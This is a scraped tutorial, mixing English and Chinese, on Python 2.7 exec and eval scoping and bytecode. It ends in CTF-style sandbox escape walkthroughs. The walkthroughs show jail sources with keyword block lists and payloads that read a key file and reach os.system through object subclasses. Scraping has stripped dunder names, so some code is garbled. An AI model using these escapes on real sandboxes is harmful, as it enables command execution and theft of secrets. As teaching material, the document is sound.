Home > Backend Development > Python Tutorial > Analyzing Python sandbox escape issues

Analyzing Python sandbox escape issues

高洛峰
Release: 2017-03-15 13:14:12
Original
3029 people have browsed it

[TOC]
(Based on Python 2.7)
Before solving the problem of Python sandbox escape, you need to understand some syntax details in Python. If you already know how to use the evalfunction, you can skip the first and second parts and watch 3x00 directly.

0x00 Execution of expression

To execute the content of an expression, you can use exec or eval conduct.

0x01 exec

exec_stmt:    "exec" expression ["in" expression ["," expression]]
Copy after login

Among them, ["in" expression ["," expression]] is an optional expression.

1, operate the code/string

exec "x = 1+1"
print x
#result:
#2
Copy after login
exec "x = 'a' + '42'"
print x
#result:
#a42
Copy after login

You can also execute multiple lines of code, just enclose it in three quotation marks:

a = 0
exec"""for _ in range(input()):
        a += 1
"""
print a
Copy after login

2, file operation

execfile

On the one hand, you can use execfile, its function is to execute the content of this file

#Desktop/pytest.txt
print 'Gou Li Guo Jia Sheng Si Yi'
Copy after login
#Desktop/pytest.py
execfile(r'C:\Users\Think\Desktop\pytest.txt')
Copy after login
The output result of

pytest.py is:

Gou Li Guo Jia Sheng Si Yi
Copy after login

execfileThe contents in pytest.txt are executed. Note that Execute instead of Read , if the content in pytest.txt is 'Gou Li Guo Jia Sheng Si Yi', then it will not get any output.
Of course, executing a .py file is also possible. The requirement for executing .txt files is that the content in the txt file is ASCII. It's better to execute a .py file rather than a txt file.

This kind of execution actually directly copy the contents of the file pointed to by execfile.
For example:

#C:/Users/Think/Desktop/Mo.py
#coding:utf-8
a = 2
print '稻花香里说丰年,听取蛤声一片'
Copy after login
#C:/Users/Think/Desktop/pytest.py
a = 3
execfile(r'C:\Users\Think\Desktop\Mo.py')
print a
Copy after login

At this time, the result of pytest is:

稻花香里说丰年,听取蛤声一片
2
Copy after login

In fact, it is to completely execute the contents of the file... rather than execute it as a function call.

Use exec directly to operate

Use exec directly, which is also the content of the executable file, but you can use in expressions to use Global Variables domain .

#C:\Users\Think\Desktop\test1.txt
print poetry
Copy after login
#pytest.py
result={'poetry':'苟利国家生死以'}
exec open(r'C:\Users\Think\Desktop\test1.txt') in result
Copy after login

3, the use of tuple

b = 42
tup1 = (123,456,111)
exec "b = tup1[2]"
print b
Copy after login

The output result is

111
Copy after login

How to use globals/locals parameters of exec

execSupports two optional parameters, and does not support keyword-specified parameters.
Python adopts staticscope (lexical scope) rules, similar to C++. The variable is available within the function but not outside the function.
In the Pascal language, dynamic scope is used, that is, the variable will exist once the function is executed. For example, a function f is nested in function g. When the program is executed to f, it will search for the variables in the expression in f. If If you can't find it, look for it in the outer layer. If this variable exists in g at this time, use this variable. If it does not exist, continue to search outward layer by layer.
It should be noted that exec is a grammatical statement (statement), not a function (function), and execfile is a function .
The reasons are as follows:
Print external variables directly in exec:

b = 42
tup1 = (123,456,111)
exec "print tup1[1]"
#结果为 456
Copy after login

Print external variables in the function:

b = 42
tup1 = (123,456,111)
def pr():
    print tup[1]

pr()

#结果:
#NameError: global name 'tup' is not defined
Copy after login

LEGB rules

globals parameter in exec

exec_stmt:    "exec" expression ["in" expression ["," expression]]
Copy after login

globals is dict Object , which specifies the global variables required in exec.

  • globlas is equivalent to globals()

  • locals Equivalent to the value of the globals parameter

1, globals

#coding:utf-8
k = {'b':42}
exec ("a = b + 1",k)
print k['a'],k['b']
#结果:
#43 42
Copy after login

in the code segment, the value in exec It is locals, which comes from the specified k, that is, globals.
And, globals is taken from the global variable and acts on the global variable.

2,locals

g = {'b':100}
exec("""age = b + a
print age
     """,g,{'a':1})
#结果:
#101
Copy after login

Comparison:

g = {'b':100,'a':2}
exec("""age = b + a
print age
     """,g,{'a':1})

#结果:
#101
Copy after login

You can see that compared to exec, it has three internal variables, namely age , b, a
After formulating, b comes from g (global), and a comes from the customized local variable.
It can be seen that local is taken from local variables and acts on local variables.
In order to verify this conclusion, slightly modify:

g = {'b':100}
exec("""age = b + a
print age
     """,g,{'a':1})

print g['a']
#结果:
#101
# print g['a']
#KeyError: 'a'
Copy after login

As you can see, a does not affect the dictionary g (global), while the above number In the globals mentioned in the section, the key value a has been filled in the global dictionary g.

exec usage conclusion

The following conclusions can be made:
We divide the content included after exec into three parts: p1, p2, p3

exec ("""p1""",p2,p3)
Copy after login
  1. The first partp1, the content is the content to be executed;

  2. 第二部分p2,其中的内容来自全局变量,会在上一个变量作用域当中寻找对应的值,并将其传递给表达式,如果不存在p3p1中的结果会传回全局变量;

  3. 第三部分p3,其中的内容是局部的,将用户在其中自设的局部值传递给p1,并且在局部中生效,如果在外部引用此处用到的值将会报错。

exec 反汇编

#use `exec` source code
import dis
def exec_diss():
    exec "x=3"

dis.dis(exec_diss)
Copy after login
# use `exec` disassembly
 4           0 LOAD_CONST               1 ('x=3')
              3 LOAD_CONST               0 (None)
              6 DUP_TOP             
              7 EXEC_STMT           
              8 LOAD_CONST               0 (None)
             11 RETURN_VALUE
Copy after login
#not use `exec` scource code
import dis
def exec_diss():
    x=3

dis.dis(exec_diss)
Copy after login
#not use exec disassembly
 3           0 LOAD_CONST               1 (3)
              3 STORE_FAST               0 (x)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE
Copy after login

指令解释在这里://m.sbmmt.com/
简要说明下,TOStop-of-stack,就是栈顶。
LOAD_CONST是入栈,RETURN_VALUE 是还原esp
其中两者的不同之处在于:

# use `exec` disassembly
6 DUP_TOP             #复制栈顶指针
7 EXEC_STMT     #执行 `exec TOS2,TOS1,TOS`,不存在的填充 `none`
Copy after login

也就是说,def函数是将变量入栈,然后调用时就出栈返回;而使用了exec之后,除了正常的入栈流程外,程序还会将栈顶指针复制一遍,然后开始执行exec的内容。

0x02 eval

eval用以动态执行其后的代码,并返回执行后得到的值。

eval(expression[, globals[, locals]])
Copy after login

eval也有两个可选参数,即 globalslocals
使用如下:

print eval("1+1")
#result:
#2
Copy after login

eval 的 globals / locals 参数的使用方法

1,globals
类似于 exec:

g = {'a':1}
print eval("a+1",g)

#result:
#2
Copy after login

2,locals

k = {'b':42}
print eval ("b+c",k,{'c':2})
#result:
#44
Copy after login

eval反汇编

#use_eval
import dis
def eval_dis():
    eval ("x = 3")

dis.dis(eval_dis)
Copy after login
#use_eval_disassembly
 3           0 LOAD_GLOBAL              0 (eval)
              3 LOAD_CONST               1 ('x = 3')
              6 CALL_FUNCTION            1
              9 POP_TOP             
             10 LOAD_CONST               0 (None)
             13 RETURN_VALUE
Copy after login

比较:

#not_use_eval
import dis
def no_eval_dis():
    x = 3

dis.dis(no_eval_dis)
Copy after login
#not_use_eval_disassembly
 3           0 LOAD_CONST               1 (3)
              3 STORE_FAST               0 (x)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE
Copy after login

同样是建栈之后执行。

1x00 exec 和 eval 的区别

exec无返回值:

exec ("print 1+1")
#result:
#2
Copy after login

如果改成

print exec("1+1")
Copy after login

这就会因为没有返回值(不存在该变量而报错)。
eval 是有返回值的:

eval ("print 1+1")
#result:
#SyntaxError: invalid syntax
Copy after login

如果想要打印,则必须在 eval之前使用print
但是奇怪的是,为什么 exec 反汇编出的内容当中,也会有一个RETURN_VALUE 呢?

1x01确定RETURN_VALUE来源

为了确定这个RETURN_VALUE究竟是受到哪一部分的影响,可以改动一下之前的代码,

import dis
def exec_diss():
    exec "x=3"
    return 0

dis.dis(exec_diss)
Copy after login
3           0 LOAD_CONST               1 ('x=3')
              3 LOAD_CONST               0 (None)
              6 DUP_TOP             
              7 EXEC_STMT           

  4           8 LOAD_CONST               2 (0)
             11 RETURN_VALUE
Copy after login

对比eval的:

import dis
def eval_diss():
    eval ("3")
    return 0

dis.dis(eval_diss)
Copy after login
  3           0 LOAD_GLOBAL              0 (eval)
              3 LOAD_CONST               1 ('3')
              6 CALL_FUNCTION            1
              9 POP_TOP             

  4          10 LOAD_CONST               2 (0)
             13 RETURN_VALUE
Copy after login

对比 evalexec之后,会发现exec使用的是DUP_TOP(),而eval使用的是POP_TOP,前者是复制 TOS,后者是推出TOS
在 C++ 反汇编当中,会发现对函数调用的最后会有 POP ebp,这是函数执行完之后的特征。在 Python 中,eval就是一种函数,exec是表达式。这也解释了之前说的eval有返回值而exec无返回值的原因。
而最后的 RETURN_VALUE,很明显可以看出并非evalexec的影响,而是 Python 中每一个程序执行完之后的正常返回(如同 C++ 中的 return 0)。
可以写段不包含这两者的代码来验证:

import dis
def no():
    a = 1+1

dis.dis(no)
Copy after login
  3           0 LOAD_CONST               2 (2)
              3 STORE_FAST               0 (a)
              6 LOAD_CONST               0 (None)
              9 RETURN_VALUE
Copy after login

所以,RETURN_VALUE是每个程序正常运行时就有的。

2x00 eval 的危险性

2x01 先期知识

在 Python 当中, import可以将一个 Python 内置模块导入,import可以接受字符串作为参数。
调用 os.system(),就可以执行系统命令。在 Windows下,可以这么写:

>>> import('os').system('dir')
Copy after login

或者:

>>> import os
>>> os.system('dir')
Copy after login

也可以达到这个目的。
这两种方法会使得系统执行dir,即文件列出命令,列出文件后,读取其中某个文件的内容,可以:

with open('example.txt') as f:
    s = f.read().replace('\n', '')

print s
Copy after login

如果有一个功能,设计为执行用户所输入的内容,如

print eval("input()")
Copy after login

此时用户输入1+1,那么会得到返回值 2。若前述的

os.system('dir')
Copy after login

则会直接列出用户目录。
但是,从之前学过的可以看到,如果为eval指定一个空的全局变量,那么eval就无法从外部得到 os.system模块,这会导致报错。
然而,可以自己导入这个模块嘛。

import('os').system('dir')
Copy after login

这样就可以继续显示文件了。
如果要避免这一招,可以限定使用指定的内建函数builtins,这将会使得在第一个表达式当中只能采用该模块中的内建函数名称才是合法的,包括:

>>> dir('builtins')
['add', 'class', 'contains', 'delattr', 'doc', 'eq', 'format', 'ge', 'getattribute', 'getitem', 'getnewargs', 'getslice', 'gt', 'hash', 'init', 'le', 'len', 'lt', 'mod', 'mul', 'ne', 'new', 'reduce', 'reduce_ex', 'repr', 'rmod', 'rmul', 'setattr', 'sizeof', 'str', 'subclasshook', '_formatter_field_name_split', '_formatter_parser', 'capitalize', 'center', 'count', 'decode', 'encode', 'endswith', 'expandtabs', 'find', 'format', 'index', 'isalnum', 'isalpha', 'isdigit', 'islower', 'isspace', 'istitle', 'isupper', 'join', 'ljust', 'lower', 'lstrip', 'partition', 'replace', 'rfind', 'rindex', 'rjust', 'rpartition', 'rsplit', 'rstrip', 'split', 'splitlines', 'startswith', 'strip', 'swapcase', 'title', 'translate', 'upper', 'zfill']
Copy after login

这样,就可以写成:

eval("input()",{'builtins':{}})
Copy after login

就可以限制其只能使用内置的函数。
同时也可以将内置模块置为None,如:

env = {}
env["locals"]   = None
env["globals"]  = None
eval("input()", env)
Copy after login

但是这种情况下builtionsbuitin的引用依然有效。

s = """
(lambda fc=(
    lambda n: [
        c for c in 
            ().class.bases[0].subclasses() 
            if c.name == n
        ][0]
    ):
    fc("function")(
        fc("code")(
            0,0,0,0,"KABOOM",(),(),(),"","",0,""
        ),{}
    )()
)()
"""
eval(s, {'builtins':{}})
Copy after login

(来自://m.sbmmt.com/)
为了创建一个<a href="//m.sbmmt.com/wiki/60.html" target="_blank">object</a>,要通过

().class.bases[0]
Copy after login

bases类当中的第一个 元素就是元组(tuple),而tuple就是一个object.

lambda这一段主要是构造出一个函数,这个函数要跑完 subclasses来寻找一个object
这是一种情形。总的来说,就是跑一个通过object假的bytecodes.

从上述情况来看,eval是不安全的。

3x00 Python 沙箱逃逸

3x01 第一题

这是一道 CTF 题目,只给了这个:

def make_secure():
    UNSAFE = [&#39;open&#39;,
              &#39;file&#39;,
              &#39;execfile&#39;,
              &#39;compile&#39;,
              &#39;reload&#39;,
              &#39;import&#39;,
              &#39;eval&#39;,
              &#39;input&#39;]
    for func in UNSAFE:
        del builtins.dict[func]

from re import findall
# Remove dangerous builtins
make_secure()
print &#39;Go Ahead, Expoit me >;D&#39;

while True:
    try:
        # Read user input until the first whitespace character
        inp = findall(&#39;\S+&#39;, raw_input())[0]
        a = None
        # Set a to the result from executing the user input
        exec &#39;a=&#39; + inp
        print &#39;Return Value:&#39;, a
    except Exception, e:
    print &#39;Exception:&#39;, e
Copy after login

make_secure这个模块很好理解,看看下边的:

from re import findall
Copy after login

这是 Python 正则表达式的模块。而re.findall可以寻找指定的字符串。
把这一部分单独抽离出来尝试一下:

from re import findall

inp = findall(&#39;\S+&#39;,raw_input())[0]
a = None
exec &#39;a = &#39; +inp
print &#39;Return Value:&#39;,a
Copy after login

运行后输入 1+1,返回结果为2.
构造
之前已经说过可以利用

().class.bases[0].subclasses()
Copy after login

在该题中,主办方搞了个在服务器上的文件,里边有 key,而[40] 是文件,直接就可以了。

().class.bases[0].subclasses()[40]("./key").read()
Copy after login

第二题

#!/usr/bin/env python 
from future import print_function
 
print("Welcome to my Python sandbox! Enter commands below!")
 
banned = [  
    "import",
    "exec",
    "eval",
    "pickle",
    "os",
    "subprocess",
    "kevin sucks",
    "input",
    "banned",
    "cry sum more",
    "sys"
]
 
targets = builtins.dict.keys()  
targets.remove(&#39;raw_input&#39;)  
targets.remove(&#39;print&#39;)  
for x in targets:  
    del builtins.dict[x]
 
while 1:  
    print(">>>", end=&#39; &#39;)
    data = raw_input()
 
    for no in banned:
        if no.lower() in data.lower():
            print("No bueno")
            break
    else: # this means nobreak
        exec data
Copy after login
[x for x in [].class.base.subclasses() if x.name == &#39;catch_warnings&#39;][0].init.func_globals[&#39;linecache&#39;].dict[&#39;o&#39;+&#39;s&#39;].dict[&#39;sy&#39;+&#39;stem&#39;](&#39;echo Hello SandBox&#39;)
Copy after login

4x00 blue-lotus MISC - pyjail Writeup

给了这个:

#!/usr/bin/env python
# coding: utf-8

def del_unsafe():
    UNSAFE_BUILTINS = [&#39;open&#39;,
    &#39;file&#39;,
    &#39;execfile&#39;,
    &#39;compile&#39;,
    &#39;reload&#39;,
    &#39;import&#39;,
    &#39;eval&#39;,
    &#39;input&#39;] ## block objet?
    for func in UNSAFE_BUILTINS:
        del builtins.dict[func]

from re import findall
del_unsafe()

print &#39;Give me your command!&#39;
while True:
    try:
        inp = findall(&#39;\S+&#39;, raw_input())[0]
        print "inp=", inp
        a = None
        exec &#39;a=&#39; + inp
        print &#39;Return Value:&#39;, a
    except Exception, e:
        print &#39;Exception:&#39;, e
Copy after login

比较一下和上边的第一题有什么不同,答案是……并没有什么不同……

The above is the detailed content of Analyzing Python sandbox escape issues. For more information, please follow other related articles on the PHP Chinese website!

Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template